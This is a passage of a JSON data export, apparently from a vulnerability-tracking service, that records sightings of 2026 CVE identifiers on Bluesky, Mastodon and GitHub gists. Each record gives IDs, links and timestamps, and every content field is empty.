"2026-02-27T20:10:11.000000Z"}, {"uuid": "d8706781-aa70-4d65-aa6f-afef9473c6c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2722", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mggwgp667324", "content": "", "creation_timestamp": "2026-03-07T03:52:31.518594Z"}, {"uuid": "e60eadac-b6ee-4342-beac-05741dca9669", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mggxr4wwk22y", "content": "", "creation_timestamp": "2026-03-07T04:16:20.720700Z"}, {"uuid": "14007d16-ee4d-4859-ad3a-db67b0570a7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27685", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116202289801188286", "content": "", "creation_timestamp": "2026-03-10T01:30:30.048911Z"}, {"uuid": "c8d33cef-12af-4ee5-8b78-761fc74d3f15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2786", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfrbrsqx3a2h", "content": "", "creation_timestamp": "2026-02-26T13:17:01.445010Z"}, {"uuid": "22a35b1e-40a4-4fe8-8bce-fc57391ab60c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2787", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfrbs2azou2n", "content": "", "creation_timestamp": "2026-02-26T13:17:09.189864Z"}, {"uuid": "db410aea-9290-43f8-a47e-7b179bfbb1d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27206", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mfflybfnlu2m", "content": "", "creation_timestamp": "2026-02-21T21:47:38.272813Z"}, {"uuid": "80ba60f9-3e09-4199-b918-945ca79005ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27616", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgfb7wr2d22i", "content": "", "creation_timestamp": "2026-03-06T12:00:15.891641Z"}, {"uuid": "50b4b797-2b2c-4691-af0d-3cb303047101", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27464", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mffm24k63l2n", "content": "", "creation_timestamp": "2026-02-21T21:48:40.286600Z"}, {"uuid": "5d38ea0f-b668-4e96-a9e1-739df1ab3b17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27483", "type": "seen", "source": "https://gist.github.com/alon710/808673d481acba0d7984b4e29291688e", "content": "", "creation_timestamp": "2026-02-25T05:10:18.000000Z"}, {"uuid": "9f7b87c9-2e82-4efd-9674-0eeb3f01522f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27946", "type": "seen", "source": "https://gist.github.com/alon710/b80b546288fad3926bdbc67b49b19ff1", "content": "", "creation_timestamp": "2026-02-27T21:40:11.000000Z"}, {"uuid": "c65ef87e-c3d5-4e0b-be3d-e5b673494327", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27624", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnwb2vyk72n", "content": "", "creation_timestamp": "2026-02-25T05:12:48.791389Z"}, {"uuid": "64823c73-c4b4-4286-9320-34a65e455c69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27947", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfuojhimkf2o", "content": "", "creation_timestamp": "2026-02-27T21:42:58.507719Z"}, {"uuid": "37597f08-7b7e-4342-9a40-444eb9a74aaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27516", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfpqrtqp5w2u", "content": "", "creation_timestamp": "2026-02-25T22:40:08.672035Z"}, {"uuid": "feb0263e-7f65-48bb-81cf-ba2007a58e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27959", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfwkpm64pq2m", "content": "", "creation_timestamp": "2026-02-28T15:40:09.364812Z"}, {"uuid": "e77d571f-00f5-40d9-a24f-e4b47d1bee08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27641", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnwglqpwy2y", "content": "", "creation_timestamp": "2026-02-25T05:15:54.106442Z"}, {"uuid": "b36c1ca8-acbc-43c0-8584-d250053b7a83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27695", "type": "seen", "source": "https://gist.github.com/alon710/5330302f70cde11bed4700e9ceffc3e5", "content": "", "creation_timestamp": "2026-02-25T22:40:18.000000Z"}, {"uuid": "d50a1bec-16e7-44cb-b89e-65349842df8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27753", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfuou7iefw2y", "content": "", "creation_timestamp": "2026-02-27T21:48:59.436275Z"}, {"uuid": "9afb9dc7-4b89-4c0c-9578-3cebadc057fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27803", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgh27swboe2i", "content": "", "creation_timestamp": "2026-03-07T05:00:15.156070Z"}, {"uuid": "f63ead42-ee1c-4389-a5cd-126b1a192536", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27001", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfcpzd6ngz2s", "content": "", "creation_timestamp": "2026-02-20T18:21:50.116339Z"}, {"uuid": "96d3d821-7f8e-49f1-ba93-794d4050d2a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27002", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfcpzjlg2x25", "content": "", "creation_timestamp": "2026-02-20T18:21:57.314792Z"}, {"uuid": "16bd64fc-1dd3-46e9-a81e-02f20731e7ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27696", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnwmqq2oh2n", "content": "", "creation_timestamp": "2026-02-25T05:19:20.694105Z"}, {"uuid": "366b67de-5621-4327-b652-011082b76035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27134", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfprvs3tgi24", "content": "", "creation_timestamp": "2026-02-25T23:00:15.038549Z"}, {"uuid": "3c32d56e-2d66-4055-90d2-c0b31a36f2ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27838", "type": "seen", "source": "https://gist.github.com/alon710/87a9eaadd5362fd30512683dd9901643", "content": "", "creation_timestamp": "2026-02-27T06:10:18.000000Z"}, {"uuid": "de29da11-59a6-438f-bcda-c84b96043666", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27639", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnwtp4pcf2x", "content": "", "creation_timestamp": "2026-02-25T05:23:13.991554Z"}, {"uuid": "540fe8f8-89c9-4667-ba72-0eac8eaa7fd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27593", "type": "seen", "source": "https://bsky.app/profile/fortrabbit.com/post/3mfrdk4ao2o2s", "content": "", "creation_timestamp": "2026-02-26T13:48:30.450452Z"}, {"uuid": "fc256c25-7315-4058-97e2-39415f25ffa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27802", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgbcrplsou26", "content": "", "creation_timestamp": "2026-03-04T22:17:27.821800Z"}, {"uuid": "62fb47a4-3478-4b78-950a-de76792cff95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27747", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnwxk3run2u", "content": "", "creation_timestamp": "2026-02-25T05:25:23.242645Z"}, {"uuid": "3bae3a81-5236-461d-bbbe-91845009b382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27520", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfre756puf2i", "content": "", "creation_timestamp": "2026-02-26T14:00:16.735275Z"}, {"uuid": "4db37fbf-16ef-4891-bf12-86a01e07685d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27803", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgbcruyepi2n", "content": "", "creation_timestamp": "2026-03-04T22:17:33.330553Z"}, {"uuid": "5c93f955-cfd7-4bc1-9df2-c95ee7756471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27807", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgegk6j3wb2e", "content": "", "creation_timestamp": "2026-03-06T04:02:48.657836Z"}, {"uuid": "11074969-66bf-4f88-aa0f-320718d1729b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27822", "type": "seen", "source": "https://gist.github.com/alon710/825cb3df4d3482c72da947924a62434a", "content": "", "creation_timestamp": "2026-02-25T23:10:18.000000Z"}, {"uuid": "33df1edf-a693-499a-a62f-9f286adff590", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27343", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfcqv4z7xs2x", "content": "", "creation_timestamp": "2026-02-20T18:37:23.305583Z"}, {"uuid": "ccdf5baf-44b7-44cd-a3f0-89bab44c090f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27627", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnxa5vvd42n", "content": "", "creation_timestamp": "2026-02-25T05:30:12.290801Z"}, {"uuid": "de44e54a-ab27-4ab9-9f25-4747863d37b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27597", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnxf2fv6m2n", "content": "", "creation_timestamp": "2026-02-25T05:32:56.398262Z"}, {"uuid": "c605d1e0-6eeb-4c74-947d-11bb5ab3802c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27803", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgbcsn66nc2f", "content": "", "creation_timestamp": "2026-03-04T22:17:59.112362Z"}, {"uuid": "e9a76780-b5a8-43bb-b11a-0889048b0407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27640", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnxkggg3n2x", "content": "", "creation_timestamp": "2026-02-25T05:35:56.648892Z"}, {"uuid": "b77bd8fd-de5e-4e13-81e4-28d7317f7a72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27822", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfptt3u7z52k", "content": "", "creation_timestamp": "2026-02-25T23:34:32.167234Z"}, {"uuid": "06aaa76c-4b2e-47c5-9c2b-af8a6638d094", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27767", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mft2y3pcl52x", "content": "", "creation_timestamp": "2026-02-27T06:20:35.598913Z"}, {"uuid": "e20aa240-7f13-43e9-8608-02911ff87058", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27013", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfaiglsuim2u", "content": "", "creation_timestamp": "2026-02-19T21:00:46.282939Z"}, {"uuid": "a0ce6a57-83dc-4711-be05-efdd5cd86760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27744", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnxqfiqym2u", "content": "", "creation_timestamp": "2026-02-25T05:39:16.934873Z"}, {"uuid": "957d2616-14d6-4b94-b180-bbcaab1a7ac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27772", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mft2ycmowo2s", "content": "", "creation_timestamp": "2026-02-27T06:20:42.772062Z"}, {"uuid": "5215a3b4-73fa-4fa4-af39-ad7af2fdd987", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27795", "type": "seen", "source": "https://gist.github.com/alon710/2fdb93ea28abae568076465460152300", "content": "", "creation_timestamp": "2026-02-25T23:40:19.000000Z"}, {"uuid": "0e2ce3f9-12ff-4db5-acb3-ca0c743c0fcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27461", "type": "seen", "source": "https://gist.github.com/alon710/448101c1bc20902d2d5feed8cf461cdf", "content": "", "creation_timestamp": "2026-02-25T05:40:18.000000Z"}, {"uuid": "81592540-97cf-4b86-8a94-3b10d60768ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27795", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfpv7setrw22", "content": "", "creation_timestamp": "2026-02-25T23:59:32.748392Z"}, {"uuid": "4b08dbac-ab6a-4f4e-aadb-7aeed8fde543", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27745", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnxx4fesl2e", "content": "", "creation_timestamp": "2026-02-25T05:43:02.154729Z"}, {"uuid": "88ea6bf1-cb0a-4cc9-9b69-2ee5ca6c552f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27519", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfpvb35cn723", "content": "", "creation_timestamp": "2026-02-26T00:00:14.582513Z"}, {"uuid": "8f10fbf7-6892-4481-aab0-7baee81b852b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27636", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfny6rwzef2x", "content": "", "creation_timestamp": "2026-02-25T05:47:19.798776Z"}, {"uuid": "e1859eed-1328-46b3-ac65-2954efcef2ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27613", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfpvbvhoae26", "content": "", "creation_timestamp": "2026-02-26T00:00:43.568092Z"}, {"uuid": "76927729-8afb-4215-8286-044ae185783f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27728", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mg2mffc6ce2b", "content": "", "creation_timestamp": "2026-03-02T06:20:53.506824Z"}, {"uuid": "a928a8cc-77fd-41d3-b157-a94b2369ff01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27645", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnyhqe6aq2u", "content": "", "creation_timestamp": "2026-02-25T05:52:20.096781Z"}, {"uuid": "e827848c-ca27-4731-8935-3f7655e8353c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27804", "type": "seen", "source": "https://gist.github.com/alon710/06993c8eefd10ccf37a23340cac818e4", "content": "", "creation_timestamp": "2026-02-26T00:10:19.000000Z"}, {"uuid": "19add767-f8a2-4cd2-8d05-ac5291c22988", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27835", "type": "seen", "source": "https://gist.github.com/alon710/77f29ca3c69eb8ef713507cb5ca27a63", "content": "", "creation_timestamp": "2026-02-27T06:40:19.000000Z"}, {"uuid": "cd7b1d1c-b9a4-43a6-b9f2-22473d6aeb52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27623", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfpweoqri72m", "content": "", "creation_timestamp": "2026-02-26T00:20:10.036334Z"}, {"uuid": "45ad7a29-bce6-4c75-b1c8-16a9bbc8c00d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27696", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfnyvxlosh2h", "content": "", "creation_timestamp": "2026-02-25T06:00:18.263668Z"}, {"uuid": "7ea11db7-e413-464f-adbd-2e92b912a817", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27641", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116129741527106065", "content": "", "creation_timestamp": "2026-02-25T06:00:30.844333Z"}, {"uuid": "adb5d9dc-7c64-4b4d-9c8f-de42aff5560a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27794", "type": "seen", "source": "https://gist.github.com/alon710/cf52281320a58d0170a51a41a1a8c9ce", "content": "", "creation_timestamp": "2026-02-26T00:40:20.000000Z"}, {"uuid": "c7c34343-2491-4890-a7c1-423b6603f79e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27182", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mfaikmcnkp2i", "content": "", "creation_timestamp": "2026-02-19T21:03:02.290122Z"}, {"uuid": "43275643-adac-4818-bb7a-3bf90a5a972e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27641", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfnywfh2ht26", "content": "", "creation_timestamp": "2026-02-25T06:00:32.269198Z"}, {"uuid": "f774491b-83e4-4522-bcc8-217bdacabf70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27743", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnyzn6gq42n", "content": "", "creation_timestamp": "2026-02-25T06:02:21.219952Z"}, {"uuid": "ad17cab7-a9fe-4968-bb63-d58adceb6a0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27746", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnzcllwwb2y", "content": "", "creation_timestamp": "2026-02-25T06:07:21.197201Z"}, {"uuid": "7035d392-9f3f-4bbf-b629-e66aa355f030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://gist.github.com/alon710/047ec00f4a4d15a45b489fce0a995744", "content": "", "creation_timestamp": "2026-02-26T00:40:19.000000Z"}, {"uuid": "ad924456-5bc4-4094-809c-13e0aef15ab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27903", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfuv2yuamp2a", "content": "", "creation_timestamp": "2026-02-27T23:40:09.956273Z"}, {"uuid": "c4b6a092-f42a-4926-b59d-4a3b3c456926", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27114", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfcwlnjcsz2s", "content": "", "creation_timestamp": "2026-02-20T20:19:27.344280Z"}, {"uuid": "81be5700-6b19-4fcd-a3f8-3a83c2b5d7ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://gist.github.com/alon710/166e0bc3fefcdaa30e1841507d50e54c", "content": "", "creation_timestamp": "2026-02-26T00:50:19.000000Z"}, {"uuid": "8602b633-6e8b-4dd7-bda8-66a9dcbb3ca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2750", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mfrggn5ko524", "content": "", "creation_timestamp": "2026-02-26T14:40:15.608452Z"}, {"uuid": "cbecd94b-aedb-4f18-a210-b249936f3658", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27706", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfxgnvnk3g22", "content": "", "creation_timestamp": "2026-03-01T00:00:17.053078Z"}, {"uuid": "5baf00d1-679f-4eff-93b5-2f409ac670f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27197", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgieoncr5b23", "content": "", "creation_timestamp": "2026-03-07T17:40:10.409812Z"}, {"uuid": "8786c3d8-be7b-40c5-ba25-c2e08e0a14a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27637", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnzljzhyx27", "content": "", "creation_timestamp": "2026-02-25T06:12:21.516944Z"}, {"uuid": "37e9cbca-c843-495e-8b2d-1850837e4451", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpycd346n2o", "content": "", "creation_timestamp": "2026-02-26T00:54:37.871313Z"}, {"uuid": "4f62c0d4-e644-4323-9ba6-d84835c47699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2751", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mfrggn5ko524", "content": "", "creation_timestamp": "2026-02-26T14:40:15.710758Z"}, {"uuid": "fd01a139-7a46-4df7-91f8-b49c212e88f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27477", "type": "seen", "source": "https://bsky.app/profile/geeknik.bsky.social/post/3mfcymi7tvt2e", "content": "", "creation_timestamp": "2026-02-20T20:55:42.318430Z"}, {"uuid": "d6181310-21f1-4b63-8339-6068aff93fcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27497", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpyf5r65m2x", "content": "", "creation_timestamp": "2026-02-26T00:56:12.994376Z"}, {"uuid": "0270e470-fc3f-4e9a-8d51-db91d6163e2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2749", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mfrggn5ko524", "content": "", "creation_timestamp": "2026-02-26T14:40:15.498298Z"}, {"uuid": "8f29b445-eff9-4445-a6b1-1ff085d84a86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 